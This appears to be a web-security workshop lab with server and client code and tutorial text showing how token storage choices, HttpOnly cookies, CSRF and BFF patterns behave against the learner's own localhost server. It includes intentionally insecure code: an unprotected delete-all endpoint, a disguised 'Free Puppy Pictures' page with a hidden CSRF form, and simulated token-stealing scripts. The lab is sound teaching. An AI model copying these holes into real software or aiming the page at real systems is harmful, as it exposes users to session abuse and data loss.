` Content-Type : ${req.headers['content-type'] ?? '(none)'}`,
` Cookies present : ${cookieNames.length ? cookieNames.join(', ') : '(none)'}`,
` Authorization : ${req.headers.authorization ? 'present (value hidden)' : '(none)'}`,
` X-CSRF-Token : ${req.headers['x-csrf-token'] ? 'present (value hidden)' : '(none)'}`,
'--------------------------------------------------------------',
].join('\n');
console.log(line);
next();
}
import crypto from 'node:crypto';
export type Session = {
id: string;
user: string;
csrfToken: string;
createdAt: number;
expiresAt: number;
};
/**
* In-memory session store. Real apps use Redis or a database row β the point is that
* the session lives on the SERVER. The browser only ever holds an opaque id.
*
* Because it is server-side, we can revoke it. That is the whole argument for sessions.
*/
const store = new Map<string, Session>();
export const SESSION_TTL_MS = 15 * 60 * 1000; // short on purpose
function randomId(): string {
// 256 bits of CSPRNG output. Never Math.random() for anything security-relevant.
return crypto.randomBytes(32).toString('base64url');
}
export function createSession(user: string): Session {
const now = Date.now();
const session: Session = {
id: randomId(),
user,
csrfToken: randomId(),
createdAt: now,
expiresAt: now + SESSION_TTL_MS,
};
store.set(session.id, session);
return session;
}
export function getSession(id: string | undefined): Session | null {
if (!id) return null;
const s = store.get(id);
if (!s) return null;
if (s.expiresAt < Date.now()) {
store.delete(id);
return null;
}
return s;
}
/** Server-side invalidation. This is what logout must do. */
export function destroySession(id: string | undefined): void {
if (id) store.delete(id);
}
/**
* Session rotation: issue a brand new id for the same user and kill the old one.
* Do this on login and on any privilege change, so a session id an attacker may
* already know (session fixation) stops being useful.
*/
export function rotateSession(oldId: string | undefined, user: string): Session {
destroySession(oldId);
return createSession(user);
}
export function sessionCount(): number {
return store.size;
}
import crypto from 'node:crypto';
import type { Request, Response, NextFunction } from 'express';
import { getSession } from './sessions.js';
/** The only origins allowed to perform state-changing requests against this API. */
export const ALLOWED_ORIGINS = ['http://localhost:5173'];
/** Layer 2 β Origin validation. */
export function originIsAllowed(req: Request): boolean {
const origin = req.headers.origin;
if (origin) return ALLOWED_ORIGINS.includes(origin);
// No Origin header. Some same-origin GETs and some non-browser clients omit it.
// Fall back to Referer; if neither is present we REFUSE for state-changing methods.
const referer = req.headers.referer;
if (!referer) return false;
try {
return ALLOWED_ORIGINS.includes(new URL(referer).origin);
} catch {
return false;
}
}
/**
* Layer 3 β Fetch Metadata.
* The browser states, unforgeably by page JavaScript, how the request was initiated.
* same-origin : from our own page
* same-site : from another origin on the same site
* cross-site : from somebody else's page <-- what CSRF looks like
* none : user typed the URL / bookmark
* Old browsers omit these headers entirely, so absence must not be treated as proof.
*/
export function fetchMetadataIsSafe(req: Request): boolean {
const site = req.headers['sec-fetch-site'] as string | undefined;
if (!site) return true; // header absent: no signal, defer to the other layers
return site === 'same-origin' || site === 'same-site';
}
/** Layer 4 β CSRF token, compared in constant time. */
export function csrfTokenIsValid(req: Request): boolean {
const session = getSession(req.cookies?.sid);
if (!session) return false;
const provided = req.headers['x-csrf-token'];
if (typeof provided !== 'string') return false;
const a = Buffer.from(provided);
const b = Buffer.from(session.csrfToken);
// timingSafeEqual throws on length mismatch, so length-check first.
return a.length === b.length && crypto.timingSafeEqual(a, b);
}
/** All four layers, applied to every state-changing request. */
export function requireCsrfDefences(req: Request, res: Response, next: NextFunction) {
if (!originIsAllowed(req)) {
return res.status(403).json({ error: 'csrf_origin_rejected' });
}
if (!fetchMetadataIsSafe(req)) {
return res.status(403).json({ error: 'csrf_fetch_metadata_rejected' });
}
if (!csrfTokenIsValid(req)) {
return res.status(403).json({ error: 'csrf_token_rejected' });
}
next();
}
import express from 'express';
/**
* Stands in for a third-party API that TaskBoard consumes β think Jira, Stripe, or a
* partner service. It authenticates with a long-lived bearer token.
*
* The entire point of Stage F is that this token must never reach the browser.
*/
const UPSTREAM_TOKEN = process.env.UPSTREAM_TOKEN ?? 'upstream-secret-token-do-not-ship';
const app = express();
app.get('/v1/tasks', (req, res) => {
if (req.headers.authorization !== `Bearer ${UPSTREAM_TOKEN}`) {
return res.status(401).json({ error: 'upstream_unauthorized' });
}
res.json({
source: 'upstream:4001',
tasks: [
{ id: 'u1', title: 'Renew the SSL certificate', done: false },
{ id: 'u2', title: 'Rotate the upstream API token', done: false },
],
});
});
app.listen(4001, () => console.log('[upstream] listening on http://localhost:4001'));
import express from 'express';
import cookieParser from 'cookie-parser';
import cors from 'cors';
import { requestLogger } from './log.js';
import { createSession, destroySession, getSession, rotateSession, SESSION_TTL_MS } from './sessions.js';
import { ALLOWED_ORIGINS, requireCsrfDefences } from './csrf.js';
const PORT = 4000;
// ---- Lab switches -----------------------------------------------------------
// COOKIE_SAMESITE=lax|strict|none INSECURE_CSRF_DEMO=1 to enable the Stage D endpoint
const SAMESITE = (process.env.COOKIE_SAMESITE ?? 'lax') as 'lax' | 'strict' | 'none';
const INSECURE_CSRF_DEMO = process.env.INSECURE_CSRF_DEMO === '1';
const UPSTREAM_TOKEN = process.env.UPSTREAM_TOKEN ?? 'upstream-secret-token-do-not-ship';
const app = express();
app.use(express.json());
// Needed for Stage D only: a cross-site HTML form posts urlencoded data.
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(requestLogger);
/**
* CORS lets ONE named origin read our responses with credentials attached.
* Read that sentence again: CORS governs READING. It does not stop a cross-site
* page from CAUSING a request. That distinction is Module 9.
*
* Note what is NOT here: http://127.0.0.1:5174, our attacker origin.
*/
app.use(cors({
origin: ALLOWED_ORIGINS,
credentials: true, // required for cookies to cross origins at all
// Every header the browser is allowed to send. Anything not listed here fails the
// CORS preflight β which is how a cross-site fetch that tries to set a custom
// header gets stopped before the real request is ever sent (Module 10).
// 'Authorization' is only here for the Stage A/B bearer demo.
allowedHeaders: ['Content-Type', 'X-CSRF-Token', 'Authorization'],
}));
/**
* Content-Security-Policy β defence in depth against XSS.
* 'self' only: no inline scripts, no third-party script hosts. If an attacker manages
* to inject a <script> tag, the browser refuses to run it.
* In a real Vite dev setup you will need to relax this; ship the strict one.
*/
app.use((_req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'"
);
next();
});
// ---- Fake data --------------------------------------------------------------
type Task = { id: string; title: string; done: boolean };
let tasks: Task[] = [
{ id: 't1', title: 'Write the sprint notes', done: false },
{ id: 't2', title: 'Review the auth PR', done: false },
{ id: 't3', title: 'Book the team lunch', done: true },
];
const seed = () => [...tasks];
function cookieOptions() {
return {
httpOnly: true, // JavaScript cannot read it β not even our own
secure: SAMESITE === 'none', // SameSite=None REQUIRES Secure. In production: always true.
sameSite: SAMESITE,
path: '/', // narrow this to e.g. '/api' if the cookie is only needed there
maxAge: SESSION_TTL_MS, // short lifetime
} as const;
}
// =============================================================================
// STAGE A / B β bearer token handed to JavaScript
// =============================================================================
/**
* DEMO ONLY β INSECURE.
* Returns a token in the response body so the frontend can put it in localStorage
* or sessionStorage. Any script running on the origin can then read it.
*/
app.post('/auth/login-token', (req, res) => {
const user = String(req.body?.user ?? 'demo@taskboard.test');
res.json({ token: `fake-bearer-for-${user}`, user });
});
app.get('/api/tasks-bearer', (req, res) => {
const auth = req.headers.authorization;
if (!auth?.startsWith('Bearer fake-bearer-for-')) {
return res.status(401).json({ error: 'missing_or_bad_bearer' });
}
res.json({ mode: 'bearer', tasks: seed() });
});
// =============================================================================
// STAGE C β server-side session in an HttpOnly cookie
// =============================================================================
app.post('/auth/login-session', (req, res) => {
const user = String(req.body?.user ?? 'demo@taskboard.test');
// Rotate on login: any pre-existing session id becomes worthless.
const session = rotateSession(req.cookies?.sid, user);
res.cookie('sid', session.id, cookieOptions());
res.json({ user: session.user, sameSite: SAMESITE });
});
/** The CSRF token is readable by our own JS on purpose β it is not a secret from us. */
app.get('/auth/csrf', (req, res) => {
const session = getSession(req.cookies?.sid);
if (!session) return res.status(401).json({ error: 'no_session' });
res.json({ csrfToken: session.csrfToken });
});
app.get('/auth/me', (req, res) => {
const session = getSession(req.cookies?.sid);
if (!session) return res.status(401).json({ error: 'no_session' });
res.json({ user: session.user, expiresInMs: session.expiresAt - Date.now() });
});
app.post('/auth/logout', (req, res) => {
// Server-side invalidation FIRST. Clearing the cookie alone only hides the key;
// the session would still be usable by anyone who copied it.
destroySession(req.cookies?.sid);
res.clearCookie('sid', { ...cookieOptions(), maxAge: undefined });
res.json({ ok: true });
});
app.get('/api/tasks', (req, res) => {
const session = getSession(req.cookies?.sid);
if (!session) return res.status(401).json({ error: 'no_session' });
res.json({ mode: 'cookie-session', user: session.user, tasks: seed() });
});
// =============================================================================
// STAGE D β DEMO ONLY β INSECURE: cookie auth with no CSRF defence
// =============================================================================
/**
* DEMO ONLY β INSECURE. Enabled only when INSECURE_CSRF_DEMO=1.
* Accepts a urlencoded form POST, authenticates purely from the cookie, and destroys
* data. This is the shape of every classic CSRF victim endpoint.
*/
if (INSECURE_CSRF_DEMO) {
app.post('/api/tasks/unsafe-delete-all', (req, res) => {
const session = getSession(req.cookies?.sid);
if (!session) return res.status(401).json({ error: 'no_session' });
const removed = tasks.length;
tasks = [];
console.log(`[STAGE D] deleted ${removed} tasks for ${session.user} β no CSRF check ran`);
res.send(`Deleted ${removed} tasks as ${session.user}.`);
});
}
// =============================================================================
// STAGE E β the same destructive action, behind four layers
// =============================================================================
app.post('/api/tasks/delete-all', requireCsrfDefences, (req, res) => {
const session = getSession(req.cookies?.sid)!;
const removed = tasks.length;
tasks = [];
res.json({ ok: true, removed, user: session.user });
});
/** Restores the seed data so you can run the demo again. */
app.post('/api/tasks/reset', requireCsrfDefences, (_req, res) => {
tasks = [
{ id: 't1', title: 'Write the sprint notes', done: false },
{ id: 't2', title: 'Review the auth PR', done: false },
{ id: 't3', title: 'Book the team lunch', done: true },
];
res.json({ ok: true, tasks: seed() });
});
// =============================================================================
// STAGE F β BFF: the browser holds a session cookie, the server holds the API token
// =============================================================================
/**
* The browser calls us. We call the upstream API with a token it never sees.
* XSS in our frontend can now abuse the session, but cannot exfiltrate the upstream
* token β because the token was never in the browser to steal.
*/
app.get('/bff/tasks', async (req, res) => {
const session = getSession(req.cookies?.sid);
if (!session) return res.status(401).json({ error: 'no_session' });
try {
const upstream = await fetch('http://localhost:4001/v1/tasks', {
headers: { Authorization: `Bearer ${UPSTREAM_TOKEN}` },
});
if (!upstream.ok) return res.status(502).json({ error: 'upstream_failed' });
const data = (await upstream.json()) as { source: string; tasks: Task[] };
// Shape the response for THIS frontend. A BFF is allowed to be opinionated.
res.json({ mode: 'bff', user: session.user, source: data.source, tasks: data.tasks });
} catch {
res.status(502).json({ error: 'upstream_unreachable β is `npm run upstream` running?' });
}
});
app.get('/api/health', (_req, res) => {
res.json({ ok: true, sameSite: SAMESITE, insecureCsrfDemo: INSECURE_CSRF_DEMO });
});
app.listen(PORT, () => {
console.log(`[taskboard-api] http://localhost:${PORT}`);
console.log(`[taskboard-api] cookie SameSite=${SAMESITE} Secure=${SAMESITE === 'none'}`);
console.log(`[taskboard-api] INSECURE_CSRF_DEMO=${INSECURE_CSRF_DEMO ? 'ON (Stage D endpoint live)' : 'off'}`);
});
{
"name": "taskboard-lab-client",
"private": true,
"type": "module",
"scripts": {
"dev": "vite --port 5173 --strictPort",
"build": "tsc -b && vite build",
"preview": "vite preview --port 5173 --strictPort"
},
"dependencies": {
"react": "^18.3.1",
"react-dom": "^18.3.1"
},
"devDependencies": {
"@types/react": "^18.3.12",
"@types/react-dom": "^18.3.1",
"@vitejs/plugin-react": "^4.3.4",
"typescript": "^5.7.2",
"vite": "^6.0.3"
}
}
import { defineConfig } from 'vite';
import react from '@vitejs/plugin-react';
export default defineConfig({
plugins: [react()],
server: {
port: 5173,
strictPort: true,
// NOTE: we deliberately do NOT proxy /api to the backend.
// A proxy would make the API same-origin and hide every CORS and SameSite lesson
// in this workshop. In production a proxy (or a BFF) is often exactly what you want.
},
});
{
"compilerOptions": {
"target": "ES2022",
"lib": ["ES2022", "DOM", "DOM.Iterable"],
"module": "ESNext",
"moduleResolution": "bundler",
"jsx": "react-jsx",
"strict": true,
"noEmit": true,
"skipLibCheck": true,
"types": ["vite/client"]
},
"include": ["src"]
}
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>TaskBoard PWA β Security Lab</title>
</head>
<body>
<div id="root"></div>
<script type="module" src="/src/main.tsx"></script>
</body>
</html>
import React from 'react';
import { createRoot } from 'react-dom/client';
import { App } from './App';
createRoot(document.getElementById('root')!).render(
<React.StrictMode>
<App />
</React.StrictMode>
);
export const API = 'http://localhost:4000';
/**
* credentials: 'include' is the switch that makes the browser attach cookies to a
* CROSS-ORIGIN request. Omit it and your HttpOnly session cookie simply will not be
* sent β the single most common cause of "why am I getting 401 in the app but not
* in curl?".
*/
export async function apiGet(path: string) {
const res = await fetch(API + path, { credentials: 'include' });
return { status: res.status, body: await res.json().catch(() => null) };
}
export async function apiPost(path: string, body?: unknown, csrfToken?: string) {
const headers: Record<string, string> = { 'Content-Type': 'application/json' };
// A custom header is the point: a plain cross-site <form> cannot set one, and a
// cross-site fetch that tries triggers a CORS preflight our server will refuse.
if (csrfToken) headers['X-CSRF-Token'] = csrfToken;
const res = await fetch(API + path, {
method: 'POST',
credentials: 'include',
headers,
body: JSON.stringify(body ?? {}),
});
return { status: res.status, body: await res.json().catch(() => null) };
}
/** DEMO ONLY β INSECURE. Stage A/B: token comes back in the body for JS to hold. */
export async function loginForToken(user: string) {
const res = await fetch(API + '/auth/login-token', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ user }),
});
return (await res.json()) as { token: string; user: string };
}
/** Stage A/B: the token must be attached BY HAND on every request. */
export async function tasksWithBearer(token: string) {
const res = await fetch(API + '/api/tasks-bearer', {
headers: { Authorization: `Bearer ${token}` },
});
return { status: res.status, body: await res.json().catch(() => null) };
}
import { useState } from 'react';
import { apiGet, apiPost, loginForToken, tasksWithBearer } from './api';
type Log = { at: string; text: string };
export function App() {
const [stage, setStage] = useState<'A' | 'B' | 'C' | 'E' | 'F'>('A');
const [csrfToken, setCsrfToken] = useState<string | null>(null);
const [logs, setLogs] = useState<Log[]>([]);
const log = (text: string) =>
setLogs((prev) => [{ at: new Date().toLocaleTimeString(), text }, ...prev].slice(0, 40));
// ---- Stage A: localStorage ------------------------------------------------
// DEMO ONLY β INSECURE.
async function stageALogin() {
const { token } = await loginForToken('demo@taskboard.test');
localStorage.setItem('taskboard_token', token);
log('Stage A: token written to localStorage under key "taskboard_token".');
}
// ---- Stage B: sessionStorage ---------------------------------------------
// DEMO ONLY β INSECURE.
async function stageBLogin() {
const { token } = await loginForToken('demo@taskboard.test');
sessionStorage.setItem('taskboard_token', token);
log('Stage B: token written to sessionStorage. Open a second tab and look β it is not there.');
}
async function callBearerApi() {
const token = localStorage.getItem('taskboard_token') ?? sessionStorage.getItem('taskboard_token');
if (!token) return log('No token in either storage. Log in first.');
try {
const r = await tasksWithBearer(token);
log(`GET /api/tasks-bearer -> ${r.status} ${JSON.stringify(r.body)}`);
} catch (e) {
// A network-level failure here is almost always CORS. The browser console has
// the real reason; the fetch promise only ever says "Failed to fetch".
log(`Request failed before it got a response: ${e}. Check the browser console.`);
}
}
/**
* DEMO ONLY β INSECURE.
* Stands in for an injected script β a compromised npm dependency, a bad ad tag, a
* reflected parameter rendered with dangerouslySetInnerHTML. It is ordinary
* JavaScript running on our origin, which is exactly what makes it dangerous.
*/
function simulateInjectedScript() {
const stolen = {
localStorage: localStorage.getItem('taskboard_token'),
sessionStorage: sessionStorage.getItem('taskboard_token'),
documentCookie: document.cookie || '(nothing readable β HttpOnly cookies are invisible here)',
};
log('INJECTED SCRIPT SEES: ' + JSON.stringify(stolen, null, 2));
}
/**
* DEMO ONLY β INSECURE.
* The uncomfortable half of Module 4: HttpOnly stops the script READING the cookie,
* it does not stop the script MAKING an authenticated request from our own origin.
*/
async function simulateXssRidingTheSession() {
const r = await apiGet('/api/tasks');
log('INJECTED SCRIPT rode the HttpOnly session: GET /api/tasks -> ' + r.status + ' ' + JSON.stringify(r.body));
}
// ---- Stage C: HttpOnly cookie session -------------------------------------
async function stageCLogin() {
const r = await apiPost('/auth/login-session', { user: 'demo@taskboard.test' });
log(`POST /auth/login-session -> ${r.status}. Now check DevTools > Application > Cookies. Note the HttpOnly tick.`);
}
async function whoAmI() {
const r = await apiGet('/auth/me');
log(`GET /auth/me -> ${r.status} ${JSON.stringify(r.body)}`);
}
async function listTasks() {
const r = await apiGet('/api/tasks');
log(`GET /api/tasks -> ${r.status} ${JSON.stringify(r.body)}`);
}
async function logout() {
const r = await apiPost('/auth/logout');
log(`POST /auth/logout -> ${r.status}. Session destroyed server-side, not just cookie cleared.`);
setCsrfToken(null);
}
// ---- Stage E: layered CSRF defences ---------------------------------------
async function fetchCsrf() {
const r = await apiGet('/auth/csrf');
if (r.status === 200 && r.body?.csrfToken) {
setCsrfToken(r.body.csrfToken);
log('CSRF token fetched and held in memory (not localStorage β it dies with the tab).');
} else {
log(`GET /auth/csrf -> ${r.status}. Log in first.`);
}
}
async function deleteAllProtected() {
const r = await apiPost('/api/tasks/delete-all', {}, csrfToken ?? undefined);
log(`POST /api/tasks/delete-all -> ${r.status} ${JSON.stringify(r.body)}`);
}
async function deleteAllWithoutToken() {
const r = await apiPost('/api/tasks/delete-all', {});
log(`POST without X-CSRF-Token -> ${r.status} ${JSON.stringify(r.body)} (expected 403)`);
}
async function resetTasks() {
const r = await apiPost('/api/tasks/reset', {}, csrfToken ?? undefined);
log(`POST /api/tasks/reset -> ${r.status} ${JSON.stringify(r.body)}`);
}
// ---- Stage F: BFF ---------------------------------------------------------
async function bffTasks() {
const r = await apiGet('/bff/tasks');
log(`GET /bff/tasks -> ${r.status} ${JSON.stringify(r.body)}`);
log('Search this page, localStorage and the cookie jar for the upstream token. It is not here.');
}
const btn = { padding: '8px 12px', marginRight: 8, marginBottom: 8, cursor: 'pointer' };
return (
<main style={{ fontFamily: 'system-ui, sans-serif', maxWidth: 860, margin: '40px auto', padding: '0 20px' }}>
<h1>TaskBoard PWA β Security Lab</h1>
<p style={{ color: '#555' }}>
Frontend on <code>http://localhost:5173</code>, API on <code>http://localhost:4000</code>. Keep the
server terminal visible β it prints every header that arrives.
</p>
<nav style={{ margin: '20px 0' }}>
{(['A', 'B', 'C', 'E', 'F'] as const).map((s) => (
<button key={s} style={{ ...btn, fontWeight: stage === s ? 700 : 400 }} onClick={() => setStage(s)}>
Stage {s}
</button>
))}
</nav>
{stage === 'A' && (
<section>
<h2>Stage A β token in localStorage <em>(DEMO ONLY β INSECURE)</em></h2>
<button style={btn} onClick={stageALogin}>Log in (store in localStorage)</button>
<button style={btn} onClick={callBearerApi}>Call API with bearer</button>
<button style={btn} onClick={simulateInjectedScript}>Run "injected" script</button>
</section>
)}
{stage === 'B' && (
<section>
<h2>Stage B β token in sessionStorage <em>(DEMO ONLY β INSECURE)</em></h2>
<button style={btn} onClick={stageBLogin}>Log in (store in sessionStorage)</button>
<button style={btn} onClick={callBearerApi}>Call API with bearer</button>
<button style={btn} onClick={simulateInjectedScript}>Run "injected" script</button>
</section>
)}
{stage === 'C' && (
<section>
<h2>Stage C β HttpOnly cookie session</h2>
<button style={btn} onClick={stageCLogin}>Log in (sets HttpOnly cookie)</button>
<button style={btn} onClick={whoAmI}>Who am I?</button>
<button style={btn} onClick={listTasks}>List tasks</button>
<button style={btn} onClick={simulateInjectedScript}>Run "injected" script (can it read the cookie?)</button>
<button style={btn} onClick={simulateXssRidingTheSession}>Injected script rides the session</button>
<button style={btn} onClick={logout}>Log out</button>
</section>
)}
{stage === 'E' && (
<section>
<h2>Stage E β layered CSRF defences</h2>
<p>Token held: <strong>{csrfToken ? 'yes (in memory)' : 'no'}</strong></p>
<button style={btn} onClick={stageCLogin}>Log in</button>
<button style={btn} onClick={fetchCsrf}>Fetch CSRF token</button>
<button style={btn} onClick={deleteAllProtected}>Delete all (with token)</button>
<button style={btn} onClick={deleteAllWithoutToken}>Delete all (no token β expect 403)</button>
<button style={btn} onClick={resetTasks}>Reset tasks</button>
</section>
)}
{stage === 'F' && (
<section>
<h2>Stage F β BFF</h2>
<button style={btn} onClick={stageCLogin}>Log in</button>
<button style={btn} onClick={bffTasks}>Load tasks via BFF</button>
</section>
)}
<h3 style={{ marginTop: 32 }}>Log</h3>
<pre style={{ background: '#111', color: '#0f0', padding: 16, borderRadius: 8, whiteSpace: 'pre-wrap', minHeight: 120 }}>
{logs.map((l) => `[${l.at}] ${l.text}`).join('\n') || 'Nothing yet.'}
</pre>
</main>
);
}
import http from 'node:http';
import { readFile } from 'node:fs/promises';
/**
* A three-line static server whose only job is to be a DIFFERENT SITE.
*
* Bound to 127.0.0.1 on purpose: "127.0.0.1" and "localhost" are different sites for
* cookie purposes, so requests from here to http://localhost:4000 are genuinely
* cross-site. Serving this from localhost:5174 would be same-site and SameSite=Lax
* would not block it β which would teach you the wrong lesson.
*/
const server = http.createServer(async (_req, res) => {
const html = await readFile(new URL('./index.html', import.meta.url));
res.writeHead(200, { 'Content-Type': 'text/html' });
res.end(html);
});
server.listen(5174, '127.0.0.1', () => {
console.log('[evil-site] http://127.0.0.1:5174 (deliberately a different site)');
});
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Free Puppy Pictures</title>
<style>body{font-family:system-ui;max-width:640px;margin:60px auto;padding:0 20px}</style>
</head>
<body>
<h1>πΆ Free Puppy Pictures</h1>
<p>A perfectly innocent page. Scroll down for puppies.</p>
<!--
DEMO ONLY β INSECURE (educational).
This page targets YOUR OWN lab server on localhost:4000. It is here so you can watch
a cross-site request carry your cookie. Do not point this at anything you do not own.
Note what this form CANNOT do:
- it cannot set a custom header such as X-CSRF-Token
- it cannot read the response (CORS forbids that)
It only needs to CAUSE the request. That is CSRF in one sentence.
-->
<form id="csrf" action="http://localhost:4000/api/tasks/unsafe-delete-all" method="POST">
<input type="hidden" name="anything" value="1">
</form>
<p><button onclick="document.getElementById('csrf').submit()">
Click for puppies
</button></p>
<hr>
<h2>Variant 2 β cross-site fetch</h2>
<p>Same intent, different mechanism. Watch the Network tab: this one triggers a
CORS preflight and gets refused. The form above does not.</p>
<button onclick="tryFetch()">Try it with fetch()</button>
<pre id="out"></pre>
<script>
async function tryFetch() {
const out = document.getElementById('out');
try {
const res = await fetch('http://localhost:4000/api/tasks/delete-all', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': 'guessed-value' },
body: '{}'
});
out.textContent = 'status ' + res.status + ' β and we could read this, which means CORS allowed it.';
} catch (e) {
out.textContent = 'Blocked before we could read anything: ' + e;
}
}
</script>
</body>
</html>
# terminal 1
cd server && npm run dev
# terminal 2
cd client && npm run dev
# terminal 3 β only for Stage D and E
cd evil && node server.mjs
# terminal 4 β only for Stage F
cd server && npm run upstream
Check it is alive:
curl -i http://localhost:4000/api/health
Look at log.ts again. It prints cookie names and writes
present (value hidden) for Authorization and
X-CSRF-Token. Why go to that trouble in a throwaway lab?
Because the habit is the lesson. Logged credentials are one of the most common real
breaches, and they never feel like a decision at the time β someone adds
console.log(req.headers) to debug an issue, it ships, and now every session
id in production is sitting in a log aggregator that a much wider group of people can
read, retained for a year, replicated to a backup, and shipped to a third-party vendor.
A session id in a log file is a valid credential. So is a CSRF token, an
Authorization header, a password in a request body, and a reset link in a
URL. Log presence, names, and shapes β never values. Building
the habit in a lab is exactly where it costs nothing.
127.0.0.1 to be genuinely cross-site. Two env vars,
COOKIE_SAMESITE and INSECURE_CSRF_DEMO, switch the lab between
stages.proxy for /api, the frontend and API become
the same origin and most of this workshop's behaviour quietly changes β cookies just work,
CORS disappears. That is often the right production choice, and it is the wrong choice while
you are trying to see these mechanisms.This is the default a lot of tutorials teach, and it is where most teams begin. It is genuinely appealing: no CORS credential dance, no CSRF exposure, works identically for web and mobile. Building it first means the later stages are a response to a problem you have personally watched happen, not a rule you were told.
cd server && npm run dev
cd client && npm run dev
# open http://localhost:5173, choose Stage A
async function stageALogin() {
const { token } = await loginForToken('demo@taskboard.test');
localStorage.setItem('taskboard_token', token);
}
/**
* DEMO ONLY β INSECURE.
* Stands in for an injected script β a compromised npm dependency, a bad ad tag, a
* reflected parameter rendered with dangerouslySetInnerHTML. It is ordinary
* JavaScript running on our origin, which is exactly what makes it dangerous.
*/
function simulateInjectedScript() {
const stolen = {
localStorage: localStorage.getItem('taskboard_token'),
sessionStorage: sessionStorage.getItem('taskboard_token'),
documentCookie: document.cookie,
};
log('INJECTED SCRIPT SEES: ' + JSON.stringify(stolen, null, 2));
}
Authorization header is there, and there is no Cookie header at
all. Nothing was ambient; your code did all the work.TOKEN="fake-bearer-for-demo@taskboard.test"
# with the header β 200
curl -i http://localhost:4000/api/tasks-bearer -H "Authorization: Bearer $TOKEN"
# without it β 401. Nothing else is carrying identity.
curl -i http://localhost:4000/api/tasks-bearer
Your team's response to this demo is: "Fine β we will encrypt the token before writing it to localStorage, with a key derived at runtime." Does the injected script still win, and what is the shortest path for it?
Yes, and it barely has to work for it.
The shortest path is not to break the encryption. It is to wait. Your app has to
decrypt the token to use it, so the attacker patches window.fetch, lets your
code do the decryption, and reads the finished Authorization header off the
request. Three lines, no cryptography.
The general principle, worth carrying beyond this workshop: in a context the
attacker controls, encryption only moves the secret, it does not protect it. The
key has to be there too, or the code that derives it does. Real protection requires the
secret to live somewhere the attacker's code cannot reach β a different process, a server,
or behind HttpOnly.
- localStorage.setItem('taskboard_token', token);
+ sessionStorage.setItem('taskboard_token', token);
http://localhost:5173. Check
Application β Session Storage: empty. The second tab is logged out.| Property | Stage A (local) | Stage B (session) | Better? |
|---|---|---|---|
| Survives browser restart | Yes | No | Yes β shorter exposure |
| Shared across tabs | Yes | No | Depends β worse UX, smaller blast radius |
| Readable by injected script | Yes | Yes | No change at all |
| Exposed to CSRF | No | No | No change |
| Left on disk after close | Yes | No | Yes β matters on shared devices |
You ship Stage B. A week later support reports: "Users on the desktop PWA say the app logs them out every morning, but the website in their browser stays logged in." Both are on the same origin. Explain it in one sentence, and say what you would change.
One sentence: closing the installed PWA window ends its browsing
context, which discards its sessionStorage, while the users who "stay logged
in" are on a browser tab they never close.
What to change: not the storage β the architecture. This bug report is
the product telling you it wants a durable, cross-context session, and the only way to
satisfy that with a JavaScript-readable token is to go back to
localStorage and its permanent XSS exposure.
A cookie gives you the durability the product wants and takes the credential out of JavaScript's reach. This is the moment the cookie session stops being a security lecture and starts being the simpler answer. That is Stage C.
HttpOnly work, then watch
an injected script use the session anyway.Stages A and B moved a secret between two places JavaScript can read. This stage moves it to a place JavaScript cannot read, and hands responsibility for attaching it to the browser. The credential also stops being a credential: the browser now holds an opaque id that is worthless without the server's session store β which means we can revoke it.
cd server && COOKIE_SAMESITE=lax npm run dev
# open http://localhost:5173, choose Stage C
document.cookie hold?Cookie header
that no line of your code put there.app.post('/auth/login-session', (req, res) => {
const user = String(req.body?.user ?? 'demo@taskboard.test');
// Rotate on login: any pre-existing session id becomes worthless.
const session = rotateSession(req.cookies?.sid, user);
res.cookie('sid', session.id, cookieOptions());
res.json({ user: session.user });
});
app.post('/auth/logout', (req, res) => {
// Server-side invalidation FIRST. Clearing the cookie alone only hides the key;
// the session would still be usable by anyone who copied it.
destroySession(req.cookies?.sid);
res.clearCookie('sid', { ...cookieOptions(), maxAge: undefined });
res.json({ ok: true });
});
# log in and keep the cookie jar
curl -i -c jar.txt -X POST http://localhost:4000/auth/login-session \
-H 'Content-Type: application/json' \
-H 'Origin: http://localhost:5173' \
-d '{"user":"demo@taskboard.test"}'
# inspect the flags the browser will enforce
cat jar.txt
# use it β 200
curl -i -b jar.txt http://localhost:4000/api/tasks
# log out, then try again β 401, because the SERVER forgot the session
curl -i -b jar.txt -c jar.txt -X POST http://localhost:4000/auth/logout \
-H 'Origin: http://localhost:5173'
curl -i -b jar.txt http://localhost:4000/api/tasks
curl has no SameSite logic, no origin, and no notion of who initiated a request.
It will happily send a cookie that a browser would withhold. That is why "works in curl but
not in the browser" is a whole category of confusion β see Module 23.Steps 3 and 4 above. Predict the output of document.cookie, and the HTTP
status from the injected script's fetch('/api/tasks', { credentials: 'include' }).
Step 3: an empty string. The cookie is right there in DevTools with
HttpOnly ticked, and the page cannot see it. HttpOnly is doing its job:
exfiltration is off the table.
Step 4: 200 OK, full task list. The browser attached the
cookie because the destination matched β it does not care that the calling code is
hostile.
Sit with the pair for a second, because it is the most load-bearing result in this workshop. You have made the session un-stealable and left it entirely usable. An attacker can no longer keep your access after the tab closes; they can still empty your board while it is open.
Nothing you add to the cookie fixes step 4. The defences for step 4 are CSP, dependency hygiene, short sessions, and re-authentication on sensitive actions β a different toolbox from the one this stage opened.
res.clearCookie() is theatre. If the id was ever copied
β by a proxy log, a shared screenshot, an earlier XSS β it still works. Destroy the session
server-side first; clearing the cookie is the cosmetic half.localhost:4000 β your own lab server, running on your
own machine, holding three fake tasks. This exists so you can see the mechanism. Pointing this
technique at any system you do not own and have written permission to test is illegal in most
jurisdictions, and nothing in this workshop helps you do it.# Deliberately weakened: SameSite=None re-enables classic CSRF,
# and INSECURE_CSRF_DEMO exposes an endpoint with no defences at all.
cd server && COOKIE_SAMESITE=none INSECURE_CSRF_DEMO=1 npm run dev
cd evil && node server.mjs # http://127.0.0.1:5174
Then:
http://localhost:5173, Stage C, and log in.http://127.0.0.1:5174.<!--
Note what this form CANNOT do:
- it cannot set a custom header such as X-CSRF-Token
- it cannot read the response (CORS forbids that)
It only needs to CAUSE the request. That is CSRF in one sentence.
-->
<form id="csrf" action="http://localhost:4000/api/tasks/unsafe-delete-all" method="POST">
<input type="hidden" name="anything" value="1">
</form>
